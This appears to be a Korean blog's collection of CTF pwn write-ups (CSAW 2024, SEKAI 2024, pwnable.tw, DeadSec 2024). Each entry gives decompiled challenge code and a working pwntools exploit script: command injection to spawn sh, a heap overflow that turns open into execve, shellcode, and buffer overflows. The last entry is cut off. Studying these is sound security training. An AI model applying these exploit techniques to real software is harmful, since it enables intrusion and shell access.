    "\"Welcome to the club. It's ok, don't be in a rush. You've got all the time in the world. As long as you are a vip that is.\"");
  displayCommands();
  while ( fgets(s, 0x20, stdin) )
  {
    s[strcspn(s, "\n")] = 0;
    if ( !strcmp(s, "exit") )
    {
      puts("Bye!");
      return v16 - __readfsqword(0x28u);
    }
    if ( !strcmp(s, *(const char **)s2) && strcmp(whitelist, "queue") )
    {
      puts("\nAh VIP, please come this way...");
      allowCopy();
    }
    sprintf(src, s);
    strcpy(dest, "Executing: ");
    v9 = 0;
    v10 = 0LL;
    v11 = 0LL;
    v12 = 0LL;
    v13 = 0LL;
    v14 = 0LL;
    v15 = 0LL;
    strcat(dest, src);
    strcpy(&dest[strlen(dest)], "...\n");
    puts(dest);
    v2 = 0;
    for ( i = 0; i <= 3; ++i )
    {
      if ( !strcmp(s, &whitelist[6 * i]) )
      {
        v2 = 1;
        break;
      }
    }
    if ( !v2 )
    {
      *(_QWORD *)&s2[8] = "Command not allowed\n";
      printf("%s", "Command not allowed\n");
      goto LABEL_22;
    }
    if ( !strcmp(s, "queue") )
    {
      printf("You are currently in position: %d\n", v1);
    }
    else
    {
      stream = popen(s, "r");
      if ( !stream )
      {
        perror("Error executing command");
        return v16 - __readfsqword(0x28u);
      }
      while ( fgets(s, 0x20, stream) )
        printf("%s", s);
      pclose(stream);
      if ( !--v1 )
      {
        puts("Hello! You are at the front of the queue now. Oh hold on one second");
        puts("I'm getting some new info...");
        kickOut();
      }
LABEL_22:
      displayCommands();
    }
  }
  return v16 - __readfsqword(0x28u);
}

_QWORD *__fastcall randGen(_QWORD *a1)
{
  unsigned int v1; // eax
  _QWORD *result; // rax
  unsigned __int64 i; // [rsp+10h] [rbp-10h]
  _BYTE *v4; // [rsp+18h] [rbp-8h]

  v4 = malloc(0xAuLL);
  v1 = time(0LL);
  srand(v1);
  for ( i = 0LL; i <= 9; ++i )
    v4[i] = rand();
  result = a1;
  *a1 = v4;
  return result;
}

int displayCommands()
{
  unsigned int i; // [rsp+Ch] [rbp-4h]

  printf("\nCommands: ");
  for ( i = 0; i <= 3; ++i )
    printf("%s ", &whitelist[6 * i]);
  return putchar(0xA);
}

unsigned __int64 allowCopy()
{
  int i; // [rsp+8h] [rbp-88h]
  int j; // [rsp+Ch] [rbp-84h]
  int k; // [rsp+10h] [rbp-80h]
  unsigned __int64 m; // [rsp+18h] [rbp-78h]
  ssize_t read_num; // [rsp+20h] [rbp-70h]
  _BYTE cmd_list[24]; // [rsp+30h] [rbp-60h] BYREF
  char buf[40]; // [rsp+50h] [rbp-40h] BYREF
  unsigned __int64 v8; // [rsp+78h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  puts(
    "You may add a new command, \"queue\", to your possible commands which will give you your position. \n"
    "If you would not like this, just press enter.");
  displayCommands();
  read_num = read(0, buf, 0x20uLL);
  if ( read_num < 0 )
  {
    perror("Error reading from stdin");
    exit(1);
  }
  buf[strcspn(buf, "\n")] = 0;
  for ( i = 0; i < strlen("queue") + 1; ++i )
  {
    if ( buf[i] != s2[i] )
      kickOut();
  }
  puts("\"We are currently getting you a valet to inform you of your queue position\nPlease wait one second...\"");
  *(_QWORD *)&cmd_list[0x10] = 0LL;
  strcpy(cmd_list, "clear");
  // exit
  *(_DWORD *)&cmd_list[6] = 0x74697865;
  *(_WORD *)&cmd_list[0xA] = 0;
  // ls
  *(_DWORD *)&cmd_list[0xC] = 0x736C;
  for ( j = 3; j >= 0; --j )
    strcpy(&whitelist[6 * j], &whitelist[6 * j - 6]);
  for ( k = 0; k < read_num - 1; ++k )
    whitelist[k] = buf[k];
  if ( !(unsigned int)safety(cmd_list) )
    kickOut();
  sleep(1u);
  puts("\"The valet has arrived, feel free to check your queue position now.\"");
  for ( m = 0LL; m < 4; ++m )
    puts(&whitelist[6 * m]);
  return v8 - __readfsqword(0x28u);
}

__int64 __fastcall safety(char *cmd_list)
{
  unsigned __int64 idx; // [rsp+18h] [rbp-18h]
  size_t i; // [rsp+20h] [rbp-10h]
  _BOOL8 is_queue; // [rsp+28h] [rbp-8h]

  is_queue = strcmp(whitelist, "queue") == 0;
  for ( idx = is_queue; idx <= 3; ++idx )
  {
    if ( strlen(&whitelist[6 * idx]) > 5 )
      kickOut();
    for ( i = 0LL; i < strlen(&cmd_list[6 * (idx - is_queue)]); ++i )
    {
      if ( cmd_list[6 * (idx - is_queue) + i] != whitelist[6 * idx + i] )
        kickOut();
    }
  }
  return 1LL;
}

void __noreturn kickOut()
{
  puts("\"You are not a real VIP. Follow this person out.\"");
  exit(1);
}

랜덤 값을 만드는데 seed가 time(0)으로 고정이라 ctype으로 맞춰줄 수 있다.

libc는 아마 브포로 유추하면 되지 않을까싶다.

(wsl로 했을 때 잘 됐던 걸로 기억하는데 깃헙에 올라온 문제 파일 보니까 ubuntu 22.04 였음)

vip 인증을 하면 명령어를 추가할 수 있다.

strlen으로 5문자만 입력할 수 있는데, ls 이후 빈 공간을 활용해서 ls;sh를 만들어 줄 수 있다.

from pwn import *
from ctypes import *

context.log_level = 'debug'

p = process('./vip_blacklist')
libc = CDLL('/usr/lib/x86_64-linux-gnu/libc.so.6')

# b*allowCopy+0x1ea
# gdb.attach(p,
# 	'''
# 	b*safety
# 	''')

ren = b''
libc.srand(libc.time(0))
for i in range(10):
	ren += int.to_bytes(libc.rand()&0xff,1,'little')

p.sendlineafter(b'ls',ren)
p.sendlineafter(b'queue',b'queue\x00clear\x00exit\x00\x00ls;sh\x00')

p.interactive()

https://github.com/osirislab/CSAW-CTF-2024-Quals/tree/main/pwn

CSAW-CTF-2024-Quals/pwn at main · osirislab/CSAW-CTF-2024-Quals

Public Archive for CSAW 2024 Quals. Contribute to osirislab/CSAW-CTF-2024-Quals development by creating an account on GitHub.

github.com

SEKAI CTF 2024 (Pwn) - nolibc

ssongk — Mon, 26 Aug 2024 21:29:57 +0900

분석에 시간을 많이 썼던 문제
(심볼 없고 함수가 너무 많았던..)

라이브러리 없이 사용자 정의 함수로 굴러가는 바이너리다.
적당히 rename하면서 분석을 수행한다.

void __noreturn start()
{
  int menu_num; // [rsp+8h] [rbp-8h]
  int num; // [rsp+Ch] [rbp-4h]

  init();
  while ( 1 )
  {
    write("Welcome to String Storage!");
    write("Please login or register an account to continue :)");
    write(&null);
    while ( user_idx == 0xFFFFFFFF )
    {
      write("1. Login");
      write("2. Register");
      write("3. Exit");
      printf("Choose an option: ");
      menu_num = get_num();
      write(&null);
      switch ( menu_num )
      {
        case 1:
          Login();
          break;
        case 2:
          Register();
          break;
        case 3:
          Exit();
          break;
        default:
          write("Invalid option");
          break;
      }
      write(&null);
    }
    printf("Welcome to String Storage, ");
    printf(user_list[user_idx]->username);
    write("!");
    write(&null);
    while ( 1 )
    {
      write("1. Add string");
      write("2. Delete string");
      write("3. View strings");
      write("4. Save to File");
      write("5. Load from File");
      write("6. Logout");
      printf("Choose an option: ");
      num = get_num();
      write(&null);
      switch ( num )
      {
        case 1:
          add_string();
          goto LABEL_26;
        case 2:
          delete_string();
          goto LABEL_26;
        case 3:
          veiw_string();
          goto LABEL_26;
        case 4:
          save_to_file();
          goto LABEL_26;
        case 5:
          load_from_file();
          goto LABEL_26;
      }
      if ( num == 6 )
        break;
      write("Invalid option");
LABEL_26:
      write(&null);
    }
    user_idx = 0xFFFFFFFF;
  }
}

int *Login()
{
  int *password; // [rsp+8h] [rbp-18h]
  int *username; // [rsp+10h] [rbp-10h]
  int i; // [rsp+1Ch] [rbp-4h]

  printf("Username: ");
  username = allocate(0x40);
  if ( username )
  {
    read(username, 0x40);
    if ( strlen(username) )
    {
      printf("Password: ");
      password = allocate(0x40);
      if ( password )
      {
        read(password, 0x40);
        if ( strlen(password) )
        {
          if ( user_count )
          {
            for ( i = 0; i < user_count; ++i )
            {
              if ( auth(user_list[i]->username, username) && auth(user_list[i]->password, password) )
                user_idx = i;
            }
            if ( user_idx == 0xFFFFFFFF )
              write("Invalid username or password");
            else
              write("Logged in successfully!");
            heap_management1(username);
            return heap_management1(password);
          }
          else
          {
            return write("No users registered");
          }
        }
        else
        {
          write("Invalid password");
          heap_management1(password);
          return Login();
        }
      }
      else
      {
        write("Invalid password");
        heap_management1(0LL);
        return Login();
      }
    }
    else
    {
      write("Invalid username");
      heap_management1(username);
      return Login();
    }
  }
  else
  {
    write("Invalid username");
    heap_management1(0LL);
    return Login();
  }
}

__int64 Register()
{
  user_info_st *user_info; // [rsp+8h] [rbp-18h]
  char *password; // [rsp+10h] [rbp-10h]
  char *username; // [rsp+18h] [rbp-8h]

  if ( user_count > 0 )
    return write("You can only register one account!");
  printf("Username: ");
  username = allocate(0x20);
  if ( username )
  {
    read(username, 0x20);
    if ( strlen(username) )
    {
      printf("Password: ");
      password = allocate(0x20);
      if ( password )
      {
        read(password, 0x20);
        if ( strlen(password) )
        {
          user_info = allocate(0x4010);
          user_info->username = username;
          user_info->password = password;
          user_info->str_count = 0;
          user_list[user_count++] = user_info;
          return write("User registered successfully!");
        }
        else
        {
          write("Invalid password");
          heap_management1(password);
          return Register();
        }
      }
      else
      {
        write("Invalid password");
        heap_management1(0LL);
        return Register();
      }
    }
    else
    {
      write("Invalid username");
      heap_management1(username);
      return Register();
    }
  }
  else
  {
    write("Invalid username");
    heap_management1(0LL);
    return Register();
  }
}

__int64 Exit()
{
  __int64 result; // rax

  result = exit_syscall;
  __asm { syscall; LINUX - }
  return result;
}

__int64 add_string()
{
  char *string_buffer; // [rsp+0h] [rbp-10h]
  int num; // [rsp+Ch] [rbp-4h]

  if ( user_list[user_idx]->str_count > 0x7FE )
    return write("You have reached the maximum number of strings");
  printf("Enter string length: ");
  num = get_num();
  if ( num > 0 && num <= 0x100 )
  {
    printf("Enter a string: ");
    string_buffer = allocate(num + 1);
    if ( !string_buffer )
    {
      write("Failed to allocate memory");
      write(&null);
      Exit();
    }
    read(string_buffer, num + 1);
    user_list[user_idx]->string_ptr_array[user_list[user_idx]->str_count++] = string_buffer;
    return write("String added successfully!");
  }
  else
  {
    write("Invalid length");
    return write(&null);
  }
}

__int64 delete_string()
{
  int num; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  if ( user_list[user_idx]->str_count )
  {
    printf("Enter the index of the string to delete: ");
    num = get_num();
    if ( num >= 0 && num < user_list[user_idx]->str_count )
    {
      heap_management1(user_list[user_idx]->string_ptr_array[num]);
      for ( i = num; i < user_list[user_idx]->str_count - 1; ++i )
        user_list[user_idx]->string_ptr_array[i] = user_list[user_idx]->string_ptr_array[i + 1];
      --user_list[user_idx]->str_count;
      return write("String deleted successfully!");
    }
    else
    {
      write("Invalid index");
      return write(&null);
    }
  }
  else
  {
    write("No strings to delete");
    return write(&null);
  }
}

__int64 veiw_string()
{
  __int64 result; // rax
  int i; // [rsp+Ch] [rbp-4h]

  if ( user_list[user_idx]->str_count )
  {
    for ( i = 0; ; ++i )
    {
      result = user_list[user_idx]->str_count;
      if ( i >= result )
        break;
      printf("String ");
      maybe_counter(i);
      printf(": ");
      write(user_list[user_idx]->string_ptr_array[i]);
    }
  }
  else
  {
    write("No strings to view");
    return write(&null);
  }
  return result;
}

chunk_st *save_to_file()
{
  int v1; // [rsp+8h] [rbp-28h]
  char *file_buffer; // [rsp+10h] [rbp-20h]
  char *filename; // [rsp+18h] [rbp-18h]
  int j; // [rsp+24h] [rbp-Ch]
  int i; // [rsp+28h] [rbp-8h]
  int v6; // [rsp+2Ch] [rbp-4h]

  printf("Enter the filename: ");
  filename = allocate(0x20);
  if ( filename && (read(filename, 0x20), strlen(filename)) && !strcmp(filename, "flag") )
  {
    file_buffer = allocate(0x7FFF);
    if ( !file_buffer )
    {
      write("Failed to allocate memory");
      write(&null);
      Exit();
    }
    v6 = 0;
    for ( i = 0; i < user_list[user_idx]->str_count; ++i )
    {
      v1 = strlen(user_list[user_idx]->string_ptr_array[i]);
      for ( j = 0; j < v1; ++j )
        file_buffer[v6++] = *(user_list[user_idx]->string_ptr_array[i] + j);
      file_buffer[v6++] = 0xA;
    }
    if ( file_write() >= 0 )
    {
      write("Strings saved to file successfully!");
      return heap_management1(file_buffer);
    }
    else
    {
      write("Failed to write file");
      return write(&null);
    }
  }
  else
  {
    write("Invalid filename");
    return write(&null);
  }
}

chunk_st *load_from_file()
{
  char *v1; // [rsp+0h] [rbp-30h]
  int v2; // [rsp+Ch] [rbp-24h]
  char *file_buffer; // [rsp+10h] [rbp-20h]
  char *filename; // [rsp+18h] [rbp-18h]
  int i; // [rsp+20h] [rbp-10h]
  int v6; // [rsp+24h] [rbp-Ch]
  int v7; // [rsp+28h] [rbp-8h]
  int v8; // [rsp+2Ch] [rbp-4h]

  printf("Enter the filename: ");
  filename = allocate(0x20);
  if ( filename && (read(filename, 0x20), strlen(filename)) && !strcmp(filename, "flag") )
  {
    file_buffer = allocate(0x7FFF);
    if ( !file_buffer )
    {
      write("Failed to allocate memory");
      write(&null);
      Exit();
    }
    v2 = file_read();
    if ( v2 >= 0 )
    {
      v8 = 0;
      v7 = 0;
      while ( v8 < v2 )
      {
        v6 = 0;
        while ( file_buffer[v8] != 0xA )
        {
          ++v6;
          ++v8;
        }
        v1 = allocate(v6 + 1);
        if ( !v1 )
        {
          write("Failed to allocate memory");
          write(&null);
          Exit();
        }
        for ( i = 0; i < v6; ++i )
          v1[i] = file_buffer[v7++];
        v1[v6] = 0;
        user_list[user_idx]->string_ptr_array[user_list[user_idx]->str_count++] = v1;
        ++v8;
        ++v7;
      }
      write("Strings loaded from file successfully!");
      return heap_management1(file_buffer);
    }
    else
    {
      write("Failed to read file");
      return write(&null);
    }
  }
  else
  {
    write("Invalid filename");
    return write(&null);
  }
}

유틸 함수들은 다음과 같다.

__int64 __fastcall sub_15F4(__int64 a1, signed int a2)
{
  char v3; // [rsp+1Bh] [rbp-31h] BYREF
  __int64 v4; // [rsp+1Ch] [rbp-30h]
  __int64 v5; // [rsp+24h] [rbp-28h]
  char *v6; // [rsp+2Ch] [rbp-20h]
  __int64 v7; // [rsp+34h] [rbp-18h]
  __int64 v8; // [rsp+3Ch] [rbp-10h]
  unsigned int i; // [rsp+48h] [rbp-4h]

  for ( i = 0; i < a2; ++i )
  {
    v8 = read_syscall;
    v7 = 0LL;
    v6 = &v3;
    v5 = 1LL;
    __asm { syscall; LINUX - }
    v4 = read_syscall;
    if ( v3 == 0xA )
    {
      *(i + a1) = 0;
      return i;
    }
    *(a1 + i) = v3;
  }
  return i;
}

__int64 __fastcall write(unsigned __int8 *a1)
{
  __int64 result; // rax

  printf(a1);
  result = write_syscall;
  __asm { syscall; LINUX - }
  return result;
}

__int64 __fastcall printf(unsigned __int8 *a1)
{
  __int64 result; // rax

  while ( 1 )
  {
    result = *a1;
    if ( !result )
      break;
    __asm { syscall; LINUX - }
    ++a1;
  }
  return result;
}

char *__fastcall allocate(int req_size)
{
  chunk_st *next_chunk; // [rsp+4h] [rbp-20h]
  int size; // [rsp+10h] [rbp-14h]
  chunk_st *allocate_addr_1; // [rsp+14h] [rbp-10h]
  chunk_st *allocate_addr; // [rsp+1Ch] [rbp-8h]

  if ( !req_size )
    return 0LL;
  size = (req_size + 0xF) & 0xFFFFFFF0;
  allocate_addr = next_allocate_addr;
  allocate_addr_1 = 0LL;
  while ( 1 )
  {
    if ( !allocate_addr )
      return 0LL;
    if ( size <= allocate_addr->size )
      break;
    allocate_addr_1 = allocate_addr;
    allocate_addr = allocate_addr->next;
  }
  if ( allocate_addr->size >= (size + 0x10LL) )
  {
    next_chunk = &allocate_addr->data[size];
    next_chunk->size = allocate_addr->size - size - 0x10;
    next_chunk->next = allocate_addr->next;
    allocate_addr->next = next_chunk;
    allocate_addr->size = size;
  }
  if ( allocate_addr_1 )
    allocate_addr_1->next = allocate_addr->next;
  else
    next_allocate_addr = allocate_addr->next;
  return allocate_addr->data;
}

chunk_st *__fastcall heap_management1(chunk_st *check_chunk_data)
{
  chunk_st *result; // rax
  chunk_st *check_chunk; // [rsp+18h] [rbp-18h]
  chunk_st *next_allocate_addr_2; // [rsp+20h] [rbp-10h]
  chunk_st *next_allocate_addr_1; // [rsp+28h] [rbp-8h]

  if ( check_chunk_data )
  {
    result = heap1;
    if ( check_chunk_data >= heap1 )
    {
      result = &read_syscall;
      // heap overflow check
      if ( check_chunk_data < &read_syscall )
      {
        check_chunk = check_chunk_data + 0xFFFFFFFF;
        next_allocate_addr_1 = next_allocate_addr;
        next_allocate_addr_2 = 0LL;
        while ( next_allocate_addr_1 && next_allocate_addr_1 < check_chunk )
        {
          next_allocate_addr_2 = next_allocate_addr_1;
          next_allocate_addr_1 = next_allocate_addr_1->next;
        }
        if ( next_allocate_addr_2 )
        {
          check_chunk->next = next_allocate_addr_2->next;
          next_allocate_addr_2->next = check_chunk;
        }
        else
        {
          check_chunk->next = next_allocate_addr;
          next_allocate_addr = CONTAINING_RECORD(check_chunk_data, chunk_st, data);
        }
        return heap_managemen2();
      }
    }
  }
  return result;
}

chunk_st *heap_managemen2()
{
  chunk_st *next_allocate_addr_0; // rax
  int v1; // [rsp+0h] [rbp-Ch]
  chunk_st *next_allocate_addr_1; // [rsp+4h] [rbp-8h]

  next_allocate_addr_0 = next_allocate_addr;
  next_allocate_addr_1 = next_allocate_addr;
  while ( next_allocate_addr_1 )
  {
    next_allocate_addr_0 = next_allocate_addr_1->next;
    if ( !next_allocate_addr_0 )
      break;
    if ( &next_allocate_addr_1->data[next_allocate_addr_1->size] == next_allocate_addr_1->next )
    {
      next_allocate_addr_1->size += next_allocate_addr_1->next->size + 0x10;
      next_allocate_addr_0 = next_allocate_addr_1;
      next_allocate_addr_1->next = next_allocate_addr_1->next->next;
    }
    else
    {
      next_allocate_addr_0 = next_allocate_addr_1->next;
      next_allocate_addr_1 = next_allocate_addr_0;
    }
  }
  if ( next_allocate_addr_1 )
  {
    v1 = heap2 - (next_allocate_addr_1 - heap1);
    next_allocate_addr_0 = next_allocate_addr_1->size;
    if ( v1 > next_allocate_addr_0 )
    {
      next_allocate_addr_0 = next_allocate_addr_1;
      next_allocate_addr_1->size = v1 - 0x10;
    }
  }
  return next_allocate_addr_0;
}

함수들이 많아서 분석이 약간 복잡하지만 취약점 자체는 간단하게 터진다.
계속 할당을 받다보면 heap2 뒤로 syscall 번호가 저장된 부분까지 오버플로우가 발생한다.

open_syscall을 execve_syscall로 바꿔주면
파일을 open할 때 파일 이름을 "/bin/sh"로 설정하면 쉘을 얻을 수 있다.
save_to_file가 아닌 load_from_file를 써야하는데 쓰기 권한 문제인 것 같다

from pwn import *

def login(id,pw):
	p.sendlineafter(b'option:',b'1')
	p.sendlineafter(b'Username:',id)
	p.sendlineafter(b'Password:',pw)

def register(id,pw):
	p.sendlineafter(b'option:',b'2')
	p.sendlineafter(b'Username:',id)
	p.sendlineafter(b'Password:',pw)

def exit(id,pw):
	p.sendlineafter(b'option:',b'3')

def add_string(size,data):	
	p.sendlineafter(b'option:',b'1')
	p.sendlineafter(b'length:',str(size).encode())
	p.sendlineafter(b'string:',data)

def delete_string(idx):
	p.sendlineafter(b'option:',b'2')
	p.sendlineafter(b'delete:',str(idx).encode())

def view_string():
	p.sendlineafter(b'option:',b'3')

def save_to_file(filename):
	p.sendlineafter(b'option:',b'4')
	p.sendlineafter(b'filename:',filename)

def load_from_file(filename):
	p.sendlineafter(b'option:',b'5')
	p.sendlineafter(b'filename:',filename)

def logout():
	p.sendlineafter(b'option:',b'6')

context.log_level = 'debug'
# p = process('./main')
p = remote('nolibc.chals.sekai.team', 1337, ssl=True)

register(b'ssongk',b'ssongk')
login(b'ssongk',b'ssongk')

for _ in range(170):
	add_string(0x100,b'add_string')

add_string(0x3F,b'a'*0x30+p32(0)+p32(1)+p32(0x3b))

for i in range(100):
	delete_string(i)

load_from_file(b'/bin/sh')

p.interactive()

[pwnable.tw] orw write-up

ssongk — Mon, 19 Aug 2024 21:02:16 +0900

문제 제목과 설명 그대로 orw 쉘 코드를 실행시켜주면 된다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 200);
  ((void (*)(void))shellcode)();
  return 0;
}

seccomp-tools로 확인해보면 다음과 같다.

로컬 문제 파일에선 shellcode 영역에 x권한이 없는데 리모트에는 있는 듯 하다.

from pwn import *

p = process('./orw')
p = remote('chall.pwnable.tw', 10001)

pay = asm(shellcraft.open('/home/orw/flag'))
pay += asm(shellcraft.read(3,'esp',0x100))
pay += asm(shellcraft.write(1,'esp',0x100))

p.send(pay)
p.interactive()

[pwnable.tw] start write-up

ssongk — Fri, 16 Aug 2024 23:22:31 +0900

특이사항으로 스택에 실행 권한이 있다.

문제 코드는 다음과 같다.

__int64 start()
{
  __int64 result; // rax

  result = 0x3C00000003LL;
  __asm
  {
    int     80h; LINUX - sys_write
    int     80h; LINUX - sys_read
  }
  return result;
}

어셈으로 보면 다음과 같으며 syscall table을 참조하여 해석할 수 있다.

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit

.text:08048060 ; __int64 start()
.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch ; '<'
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn

bof가 발생하며 스택 릭을 한 뒤 쉘코드를 넣어 실행해주면 쉘을 얻을 수 있다.

from pwn import *

context.log_level = 'debug'
context.arch = 'x86'

p = process('./start')
p = remote('chall.pwnable.tw', 10000)

p.sendafter(b'Let\'s start the CTF:',b'a'*0x14+p32(0x8048087))

stack_leak = u32(p.recvn(4))
print(hex(stack_leak))
p.recv()

pay = asm('''
	push 0x68732f
	push 0x6e69622f
	lea ebx, [esp]
	xor ecx, ecx
	xor edx, edx
	mov eax, 0x0b
	int 0x80
	''')

p.send(b'a'*0x14+p32(stack_leak+0x14)+pay)

p.interactive()

DeadSec CTF 2024 (Pwn)

ssongk — Sun, 28 Jul 2024 19:23:02 +0900

[ solved ]

misc / Mic Check

그냥 echo 구현해주면 되는 문제

from pwn import *

context.log_level = 'debug'

p = remote('34.134.200.24', 30373)

for _ in range(100):
    p.recvuntil(b'>  ')
    echo = p.recvuntil(b' ')[:-1]
    p.sendlineafter('>',echo)

p.interactive()

pwn / Super CPP Calculator

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  calc_st calc; // [rsp+0h] [rbp-20h] BYREF
  int menu_num; // [rsp+1Ch] [rbp-4h] BYREF

  menu_num = 0;
  Calculator::Calculator(&calc);
  setup();
  while ( 1 )
  {
    while ( 1 )
    {
      banner();
      printf("> ");
      __isoc99_scanf("%d", &menu_num);
      if ( menu_num != 1337 )
        break;
      Calculator::Backdoor(&calc);
    }
    if ( menu_num <= 1337 )
    {
      if ( menu_num == 1 )
      {
        Calculator::setnumber_floater(&calc);
      }
      else if ( menu_num == 2 )
      {
        Calculator::setnumber_integer(&calc);
      }
    }
  }
}

void __fastcall Calculator::Calculator(calc_st *this)
{
  this->int1 = 0;
  this->int2 = 0;
  this->sum_int = 0;
  this->float1 = 0;
  this->float2 = 0;
  this->div_float = 0;
  this->int1 = 0;
  this->int2 = 0;
  this->sum_int = 0;
  this->float1 = 0;
  this->float2 = 0;
  this->div_float = 0;
  this->result = 0;
}

ssize_t __fastcall Calculator::Backdoor(calc_st *this)
{
  ssize_t result; // rax
  __int64 buf[128]; // [rsp+10h] [rbp-400h] BYREF

  memset(buf, 0, sizeof(buf));
  result = this->result;
  if ( result )
  {
    puts("Create note");
    printf("> ");
    return read(0, buf, this->result);
  }
  return result;
}

calc_st *__fastcall Calculator::setnumber_floater(calc_st *this)
{
  calc_st *result; // rax

  puts("Floater Calculator");
  printf("> ");
  __isoc99_scanf("%f", &this->float1);
  printf("> ");
  __isoc99_scanf("%f", &this->float2);
  if ( *&this->float1 < 0.0 || *&this->float2 < 0.0 || *&this->float1 > 10.0 || *&this->float2 > 10.0 )
  {
    printf("No Hack");
    exit(1);
  }
  if ( checkDecimalPlaces(*&this->float1) != 1 )
  {
    this->float1 = 0x3F800000;
    this->float2 = 0x3F800000;
  }
  *&this->div_float = *&this->float1 / *&this->float2;
  this->result = *&this->div_float;
  result = this->result;
  if ( result < 0 )
  {
    result = this;
    --this->result;
  }
  return result;
}

calc_st *__fastcall Calculator::setnumber_integer(calc_st *this)
{
  calc_st *result; // rax

  puts("Integer Calculator");
  printf("> ");
  __isoc99_scanf("%d", this);
  printf("> ");
  __isoc99_scanf("%d", &this->int2);
  if ( this->int1 < 0 || this->int2 < 0 || this->int1 > 0xA || this->int2 > 0xA )
  {
    printf("No Hack");
    exit(1);
  }
  this->sum_int = this->int2 + this->int1;
  result = this;
  this->result = this->sum_int;
  return result;
}

backdoor 함수를 보면 result의 값이 read의 사이즈가 된다.

setnumber_floater 함수에서 큰 소수를 작은 소수로 나누게 되면 값이 커지는데

이를 이용해서 bof를 트리거할 수 있다.

win 함수가 존재하고 canary, pie 없으므로 익스는 간단하다.

from pwn import *

# p = process('./test')
p = remote('34.66.114.153', 30734)

def float_calc(f1,f2):
	p.sendlineafter(b'>',b'1')
	p.sendlineafter(b'>',str(f1).encode())
	p.sendlineafter(b'>',str(f2).encode())

def backdoor(pay):
	p.sendlineafter(b'>',b'1337')
	p.sendlineafter(b'>',pay)

win = 0x401740

f1 = 9.99999999999999999
f2 = 0.001
float_calc(f1,f2)

pay = b'A'*0x408 + p64(win+8)
backdoor(pay)

p.interactive()

[ unsolved ]

pwn / User management

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int menu_num; // [rsp+Ch] [rbp-4h] BYREF

  setup();
  while ( loop_flag )
  {
    menu();
    printf("Enter choice: ");
    __isoc99_scanf("%1d", &menu_num);
    while ( getchar() != '\n' )
      ;
    switch ( menu_num )
    {
      case 1:
        admin_login();
        break;
      case 2:
        create_user();
        break;
      case 3:
        user_login();
        break;
      case 4:
        if ( uid == 0xFFFFFFFE )
        {
          printf("\x1B[1;31m");
          puts("You are not logged in");
        }
        else
        {
          uid = 0xFFFFFFFE;
          printf("\x1B[1;32m");
          puts("Logged out");
        }
        printf("\x1B[0m");
        break;
      case 5:
        view_desc();
        break;
      case 6:
        printf("\x1B[1;32m");
        puts("see ya later");
        printf("\x1B[0m");
        loop_flag = 0;
        break;
      default:
        printf("\x1B[1;31m");
        puts("Invalid choice");
        printf("\x1B[0m");
        break;
    }
  }
  return 0LL;
}

unsigned __int64 admin_login()
{
  int i; // [rsp+Ch] [rbp-44h]
  char id[32]; // [rsp+10h] [rbp-40h] BYREF
  char pw[24]; // [rsp+30h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+48h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 7; ++i )
    password[i] = rand();
  puts("what do you want to do here?");
  fgets(s1, 0x15, stdin);
  if ( !strncmp(s1, "manage users", 0xCuLL) )
  {
    printf("Enter username: ");
    __isoc99_scanf("%19s", id);
    printf("Enter password: ");
    __isoc99_scanf("%19s", pw);
    if ( !strcmp(pw, password) && !strcmp(id, username) )
    {
      uid = 0xFFFFFFFF;
      printf("\x1B[1;32m");
      puts("Logged in as admin");
      printf("\x1B[0m");
    }
    else
    {
      printf("\x1B[1;31m");
      puts("Wrong username or password");
      printf("\x1B[0m");
    }
  }
  else
  {
    printf("\x1B[1;31m");
    puts("You are not allowed to do that!!");
    printf("\x1B[0m");
  }
  return v4 - __readfsqword(0x28u);
}

int create_user()
{
  int i; // [rsp+Ch] [rbp-4h]

  if ( uid == 0xFFFFFFFF )
  {
    if ( count > 1 )
    {
      printf("\x1B[1;31m");
      puts("No more space for users");
      return printf("\x1B[0m");
    }
    else
    {
      printf("Enter username: ");
      fgets(user_info[count].username, 0x1E, stdin);
      printf("Enter password: ");
      fgets(user_info[count].password, 0x1E, stdin);
      printf("Enter description: ");
      fgets(user_info[count].desc, 0x131, stdin);
      for ( i = 0; i < count; ++i )
      {
        if ( !strcmp(user_info[i].username, user_info[count].username) )
        {
          printf("\x1B[1;31m");
          puts("User already exists");
          return printf("\x1B[0m");
        }
      }
      printf("\x1B[1;32m");
      puts("User created successfully");
      printf("\x1B[0m");
      return ++count;
    }
  }
  else
  {
    printf("\x1B[1;31m");
    puts("You need to be logged in as admin to create a new user");
    return printf("\x1B[0m");
  }
}

unsigned __int64 user_login()
{
  int idx; // [rsp+Ch] [rbp-54h]
  char id[32]; // [rsp+10h] [rbp-50h] BYREF
  char pw[40]; // [rsp+30h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+58h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( uid == 0xFFFFFFFE )
  {
    printf("Enter username: ");
    fgets(id, 0x1E, stdin);
    printf("Enter password: ");
    fgets(pw, 0x1E, stdin);
    for ( idx = 0; idx <= 1; ++idx )
    {
      if ( !strcmp(user_info[idx].username, id) && !strcmp(user_info[idx].password, pw) )
      {
        uid = idx;
        printf("\x1B[1;32m");
        printf("Logged in as %s\n", id);
        printf("\x1B[0m");
        return v4 - __readfsqword(0x28u);
      }
    }
    printf("\x1B[1;31m");
